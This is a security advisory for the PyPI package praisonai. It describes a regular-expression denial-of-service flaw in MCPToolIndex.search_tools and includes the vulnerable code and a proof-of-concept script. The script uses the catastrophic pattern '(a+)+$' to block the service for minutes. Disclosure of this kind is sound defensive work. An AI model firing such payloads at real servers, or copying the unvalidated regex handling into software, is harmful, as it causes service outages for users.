PT-2026-59543 · Pypi · Praisonai

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

MCPToolIndex.search tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

tool index.py:365 (source) -> tool index.py:368 (sink)
python
# source -- query taken directly from caller, no validation
def search tools(self, query: str) -> List[ToolInfo]:
  import re

# sink -- compiled and applied with no timeout or exception handling
  pattern = re.compile(query, re.IGNORECASE)
  for tool in self.get all tools():
    if pattern.search(tool.name) or pattern.search(tool.hint):
      matches.append(tool)

PoC

python
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test server'
mcp dir.mkdir(parents=True, exist ok=True)
(mcp dir / ' index.json').write text(json.dumps([
  {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test server"}
]))
(mcp dir / ' status.json').write text(json.dumps({
  "server": "test server", "available": True, "auth required": False,
  "last sync": time.time(), "tool count": 1, "error": None
}))

from praisonai.mcp server.tool index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s

Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2907

Affected Products

Praisonai